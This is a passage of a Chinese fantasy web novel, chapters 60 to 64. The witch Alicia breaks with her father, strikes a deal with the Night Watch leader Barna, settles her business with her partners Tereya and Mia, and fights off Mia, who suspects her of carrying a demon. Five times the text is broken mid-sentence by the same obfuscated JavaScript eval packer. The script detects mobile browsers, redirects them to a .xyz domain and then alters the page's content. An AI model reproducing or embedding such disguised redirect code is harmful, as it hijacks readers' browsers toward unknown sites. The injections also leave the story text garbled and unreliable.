圣骑士的实力艾莉西亚从不会小觑,现在德蒙卡萨虽然受伤,但她自己是个残血,还有恶魔在阴影中虎视眈眈,她根本不敢放开手去和德蒙卡萨战斗。 更何况,她还带着罗德。 尽管艾莉西亚通过契约得到了一部分阴影的力量,但罗德呢?她可没有与恶魔契约。而且她也不想就这么轻易在圣骑士面前暴露恶魔。 “你问我所以呢?”艾莉西亚严重情绪闪烁不定,德蒙卡萨目光投向抱着死死抱着艾莉西亚的罗德,眼里有一丝不忍,他想了想,重重叹一口气,说,“女巫小姐,请与我再合作一次吧。” 魔法塔的仆人们被赶了回来,她们站在魔法塔外的空地上,刚站定,就看到了那座神秘的塔楼周身冒起滚滚浓烟,顷刻间就被火海淹没。 艾莉西亚第二次毁掉魔法塔。 这对她来说不是一件困难的事,无论是从理智上上,还是感情上,尽管她在这里学习了许多魔法知识,但比起学堂,这更像一座用小女巫的性命堆叠起来的愤怒,魔法塔越高达宏伟,小女巫们午夜徘徊的灵魂就越悲惨凄厉。 正因为这样的魔法塔存在,艾莉西亚无法相信黑塔是可以庇护女巫的存在。 从让娜和佩诺拉的行事作风,艾莉西亚觉得黑塔的更像个养蛊场,寻找最有天赋最心狠的那批人,而天赋普通的或者心性善良的,都会成为她们的养料。 60. 进击的女巫 01 艾莉西亚带着罗德回到卡斯塔尼亚城,已经是第二日的清晨。 这个时间,巴尔纳才将下属们集中起来,准备出城。 艾莉西亚带着罗德去医院,贝斯和皮尔已经醒了过来,贝斯抱着小女儿默默流泪,反而是年纪小的罗德反过来安慰母亲。 经历过一次失去艾莉西亚的痛苦,她又差点失去罗德,一向坚强的贝斯也差点垮掉。过去的一夜对贝斯无比漫长,幸运的是命运再次偏向了她,她的两个女儿安全无虞地回到了自己身边,为了这个,她发誓可以付出任何代价。 但欢乐的时光总是短暂的,母女三人的团聚时刻在皮尔到来时被打破。 罗德欢快地奔向皮尔,搂着皮尔述说她听到的那些可怕的声音。 艾莉西亚没打算留,她是个心眼比针尖还小的人,当她看到皮尔的时候,她总是会不断地想起背他捅那一刀,那不仅仅是被木偶术操控,还有皮尔自己的意愿。 如果对皮尔来说,亲生女儿不愿意为他的朋友牺牲婚姻会让他怨恨,会让他选择在最关键的时候捅自己女儿一刀,那么艾莉西亚会选择亲手斩断这样不健康的关系。 一家人磕磕绊绊生活,有些事情可以退让,可一旦触及原则问题,一步也能不能退。 至于贝斯和罗德,这是她们人生,她们的生活,艾莉西亚会尊重。 上辈子艾莉西亚学会最重要的事,是守住自己的边界,爱或许会让这个边界变得模糊,但它不会消失,始终都会在那里。 艾莉西亚离开贝斯的病房时,皮尔抱着罗德,欲言又止,但艾莉西亚没有给他任何回应。 到第二天,皮尔的律师找到他,艾莉西亚已经全权退出皮尔的担保纠纷,但她让原来处理这件事的律师到了贝斯那里,帮助贝斯梳理自己的财产,避免被卷进皮尔破产纠纷中。 律师提醒皮尔,艾莉西亚找来的律师在必要的时候,会建议贝斯用离婚来保证她和女儿们的财产。 皮尔无比错愕,他没想到,失去自己的庇佑后,艾莉西亚竟然还能如此强势,并且这样的强势态度背后,还有着雄厚的资金支持。 而这对皮尔来说并不是最大的打击,他还沉浸在律师带来的震惊之中,贝斯告诉他,要么彻底清算朋友爱戴尔的财产,要么离婚,她不可能牺牲女儿们的利益去维持路易莎维持富裕生活。 是的,皮尔一开始的盘算,是想要尽可能地保住艾达尔的家庭和原有的阶级,当年艾莉西亚失踪,切斯特夫妇为了寻找艾莉西亚而疏于经营,几近破产,正是艾达尔的帮助才保住酒厂没错,但那笔钱夫妻俩早就翻倍还了。 并且贝斯也愿意帮助路易莎好好地安顿下来,资助路易莎的孩子们上学读书,但这是贝斯的极限了。 如果艾莉西亚愿意和安托瓦结婚,切斯特家能拿到一笔钱去偿还艾达尔的贷款,贝斯不会反对,但她会想办法把家里的大部分财产都当成艾莉西亚的嫁妆,以补偿艾莉西亚的损失;接下来贝斯会努力工作,为罗德积攒嫁妆,以及自己和丈夫的养老金。 这样的决定是基于皮尔决定的尊重,更是源于传统的女性思想。 但艾莉西亚不愿意,贝斯弄清楚艾莉西亚的心意,她花了一点时间调整心态,然后掉头阻止丈夫去骚扰正女儿。 这时候,那个可怕恶魔信徒卡西尼出现了,他让贝斯感受到了无比的恐怖,她以为自己会那样痛苦地死去,但她没有,还活了下来,艾莉西亚打败了那个恶魔信徒。 这件事彻底让贝斯意识到自己和丈夫之前逼迫女儿去相亲的行为有多么可笑。很明显,艾莉西亚是不愿意的,但她为了不让父母失望,却能耐着性子配合他们的无理取闹。 贝斯觉得很愧疚。 因此,当艾莉西亚的律师找到贝斯,贝斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14440433|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用考虑,毫不犹豫地站在了女儿们这边。 这么多年的过去,枕边人是什么样,贝斯也看清了。皮尔是个好人,他爱孩子,乐于助人,对帮助过自己的人可以倾尽所有,这样的人不会放弃艾莉西亚,但同样地,他也不会放弃艾达尔。 可前提是,皮尔帮助朋友的时候,不是以牺牲艾莉西亚为代价。 贝斯和皮尔提出两个选择的时候,她很冷静,也很明白,这样的话一出口,他们夫妇就再也回不到过去了。 但人生,就是这样,没有令所有人都满意的选择,不过是在在乎和更在乎之间做选择而已。 …… 艾莉西亚从医院出来,轻轻地呼出一口气。 她还有很多事要做,没时间在这里伤春悲秋。在心里重复这句话几遍,艾莉西亚叫了马车去巡夜者小队,巴尔纳已经得到消息,叫停出城的事。 这个如同巨人一样魁梧的家伙用他那张带着疤痕的脸盯着艾莉西亚好一会儿,才把人带到一个空房间,“坐吧。” 艾莉西亚依言坐下。 巴尔纳,“说吧。” 艾莉西亚,“说什么?” 巴尔纳冷笑,肌肉牵拉疤痕,眼里偷着冷光,“你知道都说出来。” 艾莉西亚也冷笑起来,“我知道的?你是说黑塔的女巫偷偷在城内搜集有天赋的小女孩,把她们拐去魔法塔当做魔法进阶之路上的养料吗?还是说巡夜者的顾问参与其中,暗中暴毙?” 巴尔纳眼角抽动。 艾莉西亚给出的消息让他震惊。 但他很快反应过来,立刻否认,“不可能!我的人绝不会干这种事。” 艾莉西亚用嘲弄的眼神看着他,她站起身,“那我们没什么好说的。我会想办法缴纳欠下的税款,罚金我人认了,送我去矿场干活也可以,我不会和你合作,巴尔纳,你真让人失望。” 61. 进击的女巫02 巴尔纳被艾莉西亚的眼神刺痛。 “站住!”没有任何的思考,他的行动比脑子更快,在艾丽西亚离开前把人拦住。 艾莉西亚知道她赢得了这场对峙的胜利。但这并不是什么值得高兴的事,那些被当成养料的小女孩们已经回不来了,而这座城市的管理者还沾沾自喜,觉得什么都在自己的掌控中。 艾莉西亚想到了那个女继承人,芙蕾·阿斯蒙德,她知道自己治下城市的阴影之中,潜藏着怎样的黑暗吗? …… 从巡夜者小队出来,艾莉西亚乘坐马车去零件厂找特蕾娅。 艾莉西亚出事这几天,特蕾娅隐隐听到了风声,但她是个普通人,不敢贸然找上巡夜者小队,她唯一能接触到信息的地方是医院,跑了几次之后,发现贝斯和皮尔他们自己都有一大堆问题,便没有再浪费时间,出于对合伙人的信任,特蕾娅已经筹划上线内燃机的生产线了。 艾莉西亚来工厂的时候,特蕾娅正在筛选卡斯塔尼亚城内的机床厂家,内燃机的制作要求高,这些厂家特蕾娅都不是很满意,她已经开始考虑从别的城市引进机床了。 看到艾莉西亚,特蕾娅毫不犹豫丢开资料,风驰电掣地跑过来,一把将艾丽西亚保住,“感谢光明神,你终于回来了。” 特蕾娅隐约知道艾莉西亚的异乎寻常的能力,但她一直把这种能力当成做研究的外挂,从没想过艾莉西亚会因此陷入危机之中。 尽管她不知道艾莉西亚遭遇了什么,但她与艾莉西亚合作多年,很容易就发现了艾莉西亚强撑下的疲惫和虚弱—— 这种状态就像是连续熬夜几个月,做出来的内燃机样机刚开始测试就坏掉了一样,那种无能力为的疲惫感太明显了。 特蕾娅的体温让艾莉西亚感到一丝慰藉。 她拍拍特蕾娅的背,“一个好消息,巡夜者的首领巴尔纳邀请我成为他们的顾问,以保障他们的武器使用,为此,巡夜者小队会支付给工坊一大笔钱,我们的零件厂也能分到一部分订单,以后你不用担心零件厂的订单从哪里来,更不用担心那些难缠的客户会拖欠货款了。” “我的光明神啊,艾莉西亚你真是太棒了!”特蕾娅没想到艾莉西亚竟然带来了这样大的惊喜,捧着艾莉西亚的脸就亲。 艾莉西亚从没有见过她这样黏黏糊糊的样子,用手把特蕾娅的脸推开,“请问,特蕾娅小姐你能不能好好说话?我还有事要说。” “什么事?”特蕾娅双眼亮晶晶地看着艾莉西亚,这时候不管艾莉西亚说什么,她会通通答应。 艾莉西亚说,“接下来我会忙一件事情,如果我长时间没回来,零件厂就拜托你了,工坊那边有米亚在,她对内燃机实际十分了解,你可以和她继续合作。” 特蕾娅兴奋的大脑像是被人放进冰库,她警醒起来,“等等,艾莉西亚,请回答我,什么叫‘长时间不回来’?” 艾莉西亚,“就是字面上的意思。” 特蕾娅,“请不要避重就轻,你知道我在问什么。” 艾莉西亚叹一口气,“但是我不能把你牵扯进来。零件厂和工坊能有今天,你付出了巨大的努力,现在我们有巡夜者的支持,还有一个继承人这样的投资人,只要你好好经营下去,你实现梦想的机会就在眼前——” “艾莉西亚!”特蕾娅严肃地打断她,“如果你只想一走了之,那么轻便,大门就在那里;但你特意来这里找到我,是想我能帮忙照顾你的父母和妹妹对吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14450056|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?我得知道我需要承担的风险。” 艾莉西亚回答得很笃定,却绝口不提她要做什么,“你放心,我绝不会牵连你。” “你的意思是让我拿多年合作的情谊来赌吗?” 艾莉西亚试图缓和气氛,“如果你觉得这很为难,那也没关系,不过你要付出的金钱可不会少——相信我,我很愿意把我们共同奋斗的心血留给你,不过将来这部分投资是会很值钱的,你可是要成大企业主的女人,我们的情谊还不足以让我放弃这部分收益,那可能意味着一个天文数字,不是吗?” 特蕾娅没绷住表情,笑了出来。 “好吧,看在你对我这么有信心的份上。但我要和你说清楚,如果你干了什么事导致名誉尽毁,需要我与你切割才能保住我们的工厂,我会毫不犹豫发表公开声明,保全我自己。” 艾莉西亚做出一副可怜样,“那尊敬的特蕾娅小姐,你可千万别忘记那只是做戏,我的钱你可不能真的抢了去。” 特蕾娅噗嗤笑出来,她白了艾莉西亚一眼,“赶紧去做你想做的事,做完了就回来吧,我一个人可没办法应付汉斯梅尔夫人。” “没问题,特蕾娅长官!” …… 得到特蕾娅的许可,艾莉西亚又赶往工坊。 米亚是个勤奋的打铁匠。 艾莉西亚不在的这几天,她的工作仍然满满当当,除了雷打不动地锻造剑胚,还会用艾莉西亚留下的图纸尝试打造内燃机,不过她没有艾莉西亚操控金属的能力,做起来很费事,要从铸造模具开始,基本上没什么进展。 “嘿,米亚!”艾莉西亚刚见到米亚,打完招呼还没说正事,就见米亚脸色剧变,拎着她的铁锤就朝艾莉西亚砸过来。 62. 进击的巫女03 “我艹!” 身材高大,肌肉健硕的巨人米亚拎着铁锤砸过来,艾莉西亚吓得飙脏话,还是地球版本。 “你脑子坏掉了,还是被恶魔控制了?” 艾莉西亚闪躲防御,很快给自己套上一层魔法保护,而在她套好魔法防护的下一秒,米亚的铁锤“咣”地砸到魔法屏障上,艾莉西亚躲在罩子里,和藏身于铜铸大钟一样,被强而有力的震颤真的脑子发昏。 她感觉鼻子一凉,两道鼻血流了出来。 米亚拎着铁锤,目光冰冷地审视艾莉西亚,“你是艾莉西亚·切斯特?还是恶魔赫默修斯的信徒?” 那是艾莉西亚多年未曾见过的强悍姿态,上一次看到米亚这样,还是在米亚独自面对狼群的撕咬时,她拿着一把大剑,对凶悍的狼群如同砍瓜切菜,丝毫不顾及那些荒野凶狼配合作战,在同伴倒下的同时也在她身上留下一道道深可见骨的伤痕。 艾莉西亚心里腹诽就算我是恶魔信徒,我肯定也会说我是自己啊,骗个人说个谎有什么难得?创业狗拉投资的基槽好吗? 她双手抬起来作投降状,“当然是艾莉西亚·切斯特,你的合伙人,知道吗?如果我是赫默修斯的信徒,你已经死于我的阴影偷袭了。” 米亚握紧铁锤,眉心皱着,似乎在判断艾莉西亚话里的真实性。 艾莉西亚索性盘腿坐下来,她还不敢撤掉魔法屏障,怕米亚锤子砸过来,把她砸得脑花四溅,那画面,她不敢想。 这件事的吊诡之处就在于,圣骑士出身的德蒙卡萨都看不出来她身上附着的恶魔气息,米亚这个常年生活在北大荒的人怎么发现的?难道是巨人后裔的种族天赋? “好吧,勇敢的荒原骑士米亚·约克女士,你想让我用什么办法证明我还是我?” 米亚丢掉铁锤,从墙上取下一把剑胚,她将剑胚前段插进高温的炭火之中,待到剑胚前半段烧成了岩浆一样的颜色,米亚朝艾莉西亚抬抬下巴,“你过来。” 艾莉西亚手指蜷了又松开,她脸上的笑容挂不住了,“你要做什么?约克女士,约克骑士,我可是你的合伙人,不是你的仇人!” 米亚说,“恶魔常年居住在岩浆之中,他们赋予信徒的能力的同时,也会赋予信徒对高温的耐受力,如果你不是恶魔的信徒,那么你会被高温灼伤,如果高温无法令你受伤,我会亲手送你去见你信仰的恶魔。” 艾莉西亚嘴唇抖了一下。 她看得出来,米亚是认真的。 这家伙没办法被敷衍过去。 米亚和特蕾娅不一样,特蕾娅的所有行为都以目标为导向的,只要给特蕾娅一个合理的理由,并且不伤害她的利益,她就会很好说话。 米亚不是,米亚一直有着很强的信念和原则,艾莉西亚想要像说服特蕾娅那样是不可能的,但要告诉她赫默修斯寄生在自己身上吗? 艾莉西亚看着米亚的目光,她觉得自己不能冒这个险。 “你别忘了,我是女巫,”艾莉西亚说,“我是一个有着操控金属能力的女巫,高温对我并没有那么奏效,你还是换一个别的方法,或者我们得好好聊聊,你为什么会觉得我是恶魔信徒?” 米亚思索着艾莉西亚的话。艾莉西亚说得并不算没道理,她对金属的操控的确很厉害,米亚见过过艾莉西阿姨用能力将一块需要高温锻造的金属捏成她想要的形状,用在内燃机上,那样的过程,很难说不会产生高温。 米亚没有放下剑胚,但也没有将剑胚重新插入炭火之中。她浑身肌肉紧绷,时刻戒备着艾莉西亚,防止她突然出手。 “如果你在荒原中生活过,你就会知道,处在那种环境中,最可怕的不是物资匮乏,而是——信仰。”米亚没有继续说下去,她的声音很平稳,但艾莉西亚却听出了沉重。 “——是信仰!”艾莉西亚几乎没怎么思考,就与米亚同步说出了相同的答案。 米亚脸上的表情有了一点松动。 她继续说,“极北荒原物资匮乏,部落与部落之间,部落内部的生存状态很恶劣,生活在那里的人们为了保证团结和得到强大的力量,会选择一个能帮助到他们的存在来信仰,而这片大陆上的正神已经陨落了太多,最受追捧的那位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14459176|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光明神也有很久很久没有回应过祂的信徒了,而恶魔信仰的种子不知道什么时候在荒原传开了,很多人义无反顾地投入恶魔的怀抱,然后像野兽一样去争夺和厮杀,最后再献身给恶魔。” “所以你是因为不愿意和部落的其他人一样信仰恶魔,才带着狄安娜她们出走的,对吗?” 提到两个孩子,米亚脸上的神情有了一丝柔和,但这一丝柔软很快又消散了,“我见过很多恶魔信徒,你身上有和他们很相似的气息。” 这就说得通了。 太过熟悉,才能一眼就发现问题。 德蒙卡萨可能执行过不少任务,但与恶魔相关的,肯定不多,否则,有他和哈罗德·阿克莱特在,卡西尼这个恶魔信徒也不至于在卡斯塔尼亚城弄出灭门惨案还不被发现。 “有没有一种可能,”艾莉西亚露出苦涩的表情,“我曾经和恶魔信徒发生过激烈的战斗,并且从他身上获得了恶魔的能力呢?你没听说?我带着罗德一回到卡斯塔尼亚就遭到恶魔信徒的伏击,在和他的战斗中,我的父亲从背后捅了我一刀,让我身受重伤,恶魔信徒趁机给我带来了恶魔的污染,这几天我的伤口一直没好,就是这个原因。” “不可能!只有和恶魔签订契约的人才能使用祂的力量。” 艾莉西亚心中悲愤,该死的佩诺拉,该死的卡西尼,还有该死的赫默修斯!她暗暗把他们诅咒了无数遍,却还要打起精神。 “我们聊了这么久,约克女士,你难道不觉得奇怪吗?我接触过恶魔信徒,那个叫卡西尼的家伙,他可没有我这样敏锐的头脑和清晰的判断力,如果我真的信仰了恶魔,我已经被他污染了,不是吗?” “我见过许多恶魔信徒,他们在与恶魔签订契约的最初,都像你一样,认为自己能在污染下保持理智,但最终,他们都死于从恶魔得到的强大力量,死之前,还会把他的亲人、朋友、爱人都献祭给恶魔。 “为了追求力量,而走向毁灭,这就是和信仰恶魔的结局,没有例外。你只有两个选择,通过我的测试,或者,让我砍下你的脑袋,选一个吧,切斯特。” 63. 进击的女巫04 “你只有两个选择,通过我的测试,或者,让我砍下你的脑袋。” 米亚手持剑胚,神情庄严肃穆,眼里杀气四溢,如同战神临世。而她针对的目标,正是艾莉西亚这个本应该与她站在统一战线的人。 艾莉西亚意识到,米亚在与她的交谈中,已经认定艾莉西亚与恶魔签订了契约。 尽管这并不是事实,实际上,因为艾莉西亚曾经遭受过埃诺里暗算早有防备,因而并没有如同赫默修斯那样设想的成为祂降临现世的容器,反而艾莉西亚在重重魔法保护之下,与必须依附于他人才能来到现世的赫默修斯达成了一定的平衡,致使艾莉西亚可以在不经过赫默修斯的允许就能使用祂一部分能力。 但艾莉西亚能把实话说给米亚听吗? 很显然不行。 现在艾莉西亚就和卡在这里了。 不告诉米亚真相,米亚会觉得艾莉西亚成了恶魔信徒,早晚会成为恶魔收割人类的工具;告诉米亚真相,那更不得了了,恶魔竟然能突破重重界限的禁制降临现世,那还不赶紧把艾莉西亚这个锚点解决掉? 电光火石间,艾莉西亚脑海里闪过许多念头,没有找到能说服米亚的借口。 软的行不通,艾莉西亚也不费那个事了。 “不,米亚,我什么都不选,如果你有那个实力,你现在就可以杀死我,但我不会为了证明自己就同意你你伤害我。当然,我也不会对你出手,因为你是我的朋友,虽然在你看来,遵守那该死的规则远比朋友重要得多。 “老实说,自从我逃离魔法塔那个变态女巫的魔爪后,还没有遇到过真正能对我造成威胁的人,你可以尽管试试。” 艾莉西亚盘腿坐在地上,头顶罩着魔法护照,像个缩在龟壳里的老乌龟,颇有种看你能拿我怎么办的架势。 在艾莉西亚的脑海中,赫默修斯颇有兴致地看两个女人角力,像在看一出好笑的滑稽戏,他愉悦的笑声在艾莉西亚脑子里回荡。 艾莉西亚恼羞成怒,“笑什么笑?你一恶魔不知道上进,来到现世还不想办法赶紧去霍霍教廷,赖我这里干嘛?没用的东西!” 但,赫默修斯不走是祂不想吗? 当然是不能啊。 艾莉西亚故意这么说,其实就是在羞辱祂,激怒祂,看看有没有可能再从祂身上薅点羊毛。 “看你有意思,”可惜赫默修斯智商在线,祂很懂得避重就轻避重就轻,“像你这样有意思的人类,我活了一千多年,从没有见过。” 艾莉西亚,“呵呵。” “人类,你知道的,你完全可以向我寻求帮助。”赫默修斯说,“你看看你,为了支撑魔法防护,已经没有多余的魔力去与那个巨人骑士对抗了,你们僵持的时间越长,对你就越不利,你看到她的剑胚了吗?那是一把有着强效魔法的物品,以你现在的能力,失去了防护罩的保护,她很快就会把你的脑袋砍下来吧。” 恶魔说得没错。 艾莉西亚现在甚至没办法屏蔽这家伙对自己的印象。 而赫默修斯终于逮到机会,开始向她推销自己,就说这只恶魔没那么老实,这么多天不开口,只是蛰伏起来寻找机会。 而现在,就是这只恶魔认为的,可以趁虚而入的机会。 “快点做决定吧,你的魔法防护要失效了,”恶魔呢喃低语,充满蛊惑的嗓音让人很想顺着祂的话去做,“向我祈祷吧,我会满足你的一切愿望,祈祷吧。” 另一边,米亚因为艾莉西亚的话有了些许动容。 的确,艾莉西亚是她处在最低谷的时候,唯一帮助她的人。她两个孩子能活下来,能在卡斯塔尼亚的城内好好念书,也全赖艾莉西亚的帮助。 否则,米亚一个长年生活在荒原的铸剑师,完全没有社会化的技巧,要怎么才能在短时间内安排好这一切? 但想到发生在部落的那些事…… 米亚眼神暗了暗,死亡像瘟疫一样蔓延,部落的亲人朋友像割韭菜一样被恶魔信徒割断脖子,他们用族人的血肉骨骼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14473500|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搭建起祭台,他们剥下人皮,制作恶魔降临的容器,鲜血浸湿了驻扎地的每一寸土地。 米亚永远都忘不了,一夜之间家破人亡,她的丈夫为了保护孩子死死守住驻扎地的大门,无数尖刀砍向他的身体,他的躯体被砍断,鲜血像喷泉一样喷溅。 艾莉西亚的魔法防御开始萎缩,最后,变成一层薄得像薄膜一样贴在她身上。 米亚的心又硬了起来,她想,她可能没办法狠下心砍下那个年轻女人的脑袋。 她会打造最坚固的锁链,把艾莉西亚锁起来,关到无人知晓的地方,她不会杀她,但她绝不会让艾莉西亚有机会造成那样的惨剧。 米亚举起了剑。 “考虑得怎么样?”恶魔的话像蛇一样,见缝插针地往艾莉西亚脑子里钻,“她冲过来了——” 艾莉西亚需要很努力才能低语恶魔的蛊惑,却还能分出心思考虑接下来要去什么地方找封印恶魔的咒语。 这样的东西,只有教廷总部才会有吧? 艾莉西亚的指尖在纯黑的扳手表面有节奏地敲击着,她注视着握住朝她冲过来的米亚,那个女骑士有着非凡的力量,双臂肌肉鼓起如同坚硬铠甲。 当她的指尖敲击到第七下时,艾莉西亚手里的扳手消失了,下一秒,一道黑色的影子闪电般从米亚身前的影子里窜出来,猛地砸到了米亚的手臂。 米亚只感觉手臂肌肉像是被蚊虫叮咬一般,有轻微的灼痛,而很快,她发现被砸中的手臂像是失去知觉一样,她失去了手臂肌肉的掌控。紧接着,好几把扳手从阴影里飞出,分别攻击米亚的另一只手臂、两条大腿,以及后颈,她像是一个被抽掉灵魂的木偶,“啪叽”一下,整个人正面朝下,扑倒地上。 倒地前剑胚从她手中掉落,艾莉西亚起身飞快出脚,将那把前端烧得赤红的剑胚踢远了,免得米亚倒地时扑到上面,把自己烫伤了。 变故出现得太快,上一秒传教传得起劲的赫默修斯像是被割断了声带,陷入了死一般的沉默。 64. 进击的女巫05 “恶魔先生,这个滑稽戏是不是更精彩?” 艾莉西亚在心里对赫默修斯说。恶魔仍然保持着沉默,这很好地愉悦了她。 这家伙脸皮竟然这么薄?艾莉西亚完全没想到。 想想看,一个试图诱惑身处绝境中的人类签订契约的家伙,在发现所谓的“绝境”只是伪装后,挽回尊严的最好方式,除了沉默,没有别的选择。 不过艾莉西亚又觉得这家伙肯定不会这么容易消停,指不定又在酝酿着什么诡计。虽然祂现在除了在艾莉西亚脑子里碎碎念外什么都做不了,但谁知道以后会不会能做点什么呢? 还是得想办法从光明教廷那里找到克制封印恶魔的办法才行。 心里想着恶魔的事,艾莉西亚把米亚从地上扶起来。 光明神在上,这个大个子可真重,幸好艾莉西亚常年与机械为伴,换特蕾娅来,她肯定拿米亚没办法。 米亚的目光一瞬不瞬地艾莉西亚,脖子上的青筋向上攀爬,一直到额头,眼里几乎要冒出火星子。 这还有什么不明白的,她被艾莉西亚暗算了。 艾莉西亚一开始示弱,让米亚觉得她魔力近乎枯竭,除了被动防御,无法与自己抗衡,只能不停地说服米亚。 而米亚也被艾莉西亚的巧言吝啬迷惑了,她也从一开始的必须要将这个可能被恶魔污染的家伙赶尽杀绝,转变成只要把她关起来不接触人就好。 正因为米亚在艾莉西亚的对峙中让步了,才致使她的怒气攀升剧烈——她已经打算放过艾莉西亚,可她全都是算计! 这如何不让米亚出离愤怒。 “你是人类的叛徒!”米亚说。 倒下的那一刻,米亚知道自己的判断没错,艾莉西亚的确遭到了恶魔的污染。然而她错在对艾莉西亚的信任上。 艾莉西亚扳手的能力米亚了解一点,艾莉西亚曾经向她炫耀过,她在荒原找到的特殊金属材料,具有吸收魔力的效果,再配合艾莉西亚对金属的操控能力,这一套扳手几乎让艾莉西亚的攻击能力拉满(当初一扳手把德蒙卡萨干晕就是用的这一招,极其好用)。 不过艾莉西亚也不是没有弱点,这样的攻击必须要让扳手接触到攻击对象。 米亚刻意等艾莉西亚的魔力屏障消失,除了可以令艾莉西亚的防御能力降到最低,也因为这可以削弱艾莉西亚对扳手的操控力。 但她没有料到,艾莉西亚得到能力是阴影穿梭。 更可气的是,艾莉西亚还阴险地表现出无辜的样子,非常理直气壮地和米亚争辩,好像她是被冤枉的可怜虫,米亚像个草菅人命的坏蛋。这样的态度让米亚丧失了一部分警惕心,以致于很轻易就掉进了艾莉西亚挖好的坑里面。 “好了,我知道你在想什么,但很抱歉,我只能向你保证我绝不会让你所设想的惨烈局面出现。不过,我可以告诉你,我接下来会和一个圣骑士出身的审判官合作,你知道的,以光明教廷对恶魔的态度,他们绝不可能让光明神的光辉照耀之地出现任何恶魔的阴影。如今连圣骑士都能认可我,你还有什么可担心的呢?” 这当然又是骗米亚的。 德蒙卡萨根本没发现艾莉西亚身上的恶魔。 米亚冷眼看着艾莉西亚,现在的米亚不会相信艾莉西亚嘴巴里说出来的任何一个字。 艾莉西亚像是有所预料,她并不介意米亚的态度,“你不相信也没关系,老实说,但我相信时间会证明一切的。听我说,我来这里是想要告诉你,今晚我有很重要的事情要做,成功了不必说,如果失败了……” 她略微停顿了一下,不知道为什么,米亚从她看似平静的话语中听出了嘱咐遗言的意味。 “如果失败了,”艾莉西亚脸上重新露出微笑,“你就接受这间工坊吧,不过我希望你能继续与零件厂的合约,特蕾娅会告诉你有哪些订单的。” 米亚眉头皱起,她仍觉得艾莉西亚不可信,毕竟一个遭到恶魔污染的家伙,还算计过自己,这样的人说话有什么可信度吗? “如果方便的话,我的父母和妹妹,也要拜托你帮忙照看了,可以吗?” 艾莉西亚说完,目光热切地注视着米亚。 米亚嘴角下撇,语气掩饰不住的嘲讽,“如果我能从一个恶魔信徒手里活下来的话。” 艾莉西亚的眼神变得黯然,她哀伤地看着米 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14481329|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亚,想要说什么,但嘴唇动了动,最后什么都没说出来。 艾莉西亚站起来,“半个小时后你就会恢复过来。再见了,米亚·约克骑士。” 时间已经到了傍晚,天边的红霞渐渐染上墨色,只有一点余晖还在地平线上挣扎。 艾莉西亚走到大门口,米亚想叫住她质问她这到底是怎么回事,而她像是听到了米亚的心声一半,在米亚的注视中停下脚步。 她回过头,欲言又止,却只是笑笑,便头也不回地朝外走去。 那一眼让米亚忍不住眉头深深地皱起。 她忍不住再一次怀疑自己的判断,艾莉西亚真的成了恶魔信徒了吗? 然而,她得不到答案了。艾莉西亚已经坐上马车,离开了工坊。 过了一会儿,米亚忽然觉得手臂一松,力气又回到了她身上。 米亚想都没想,立刻从地上弹起来,抓起自己的剑就去追艾莉西亚的马车,连工坊的大门都没关——此时她已经顾不上那么多,工坊有艾莉西亚布置的魔法阵,就算陌生人有人误闯,也进不去。 虽然米亚脑子里闪过一个念头,艾莉西亚说了半小时后她才能恢复,此时时间才过去不到十分钟,难道是艾莉西亚的魔力失效了? 但很快就被更强烈的、想要看清楚艾莉西亚到底在干什么的想法占据了所有思考空间。 与此同时,艾莉西亚坐在马车内闭目养神。 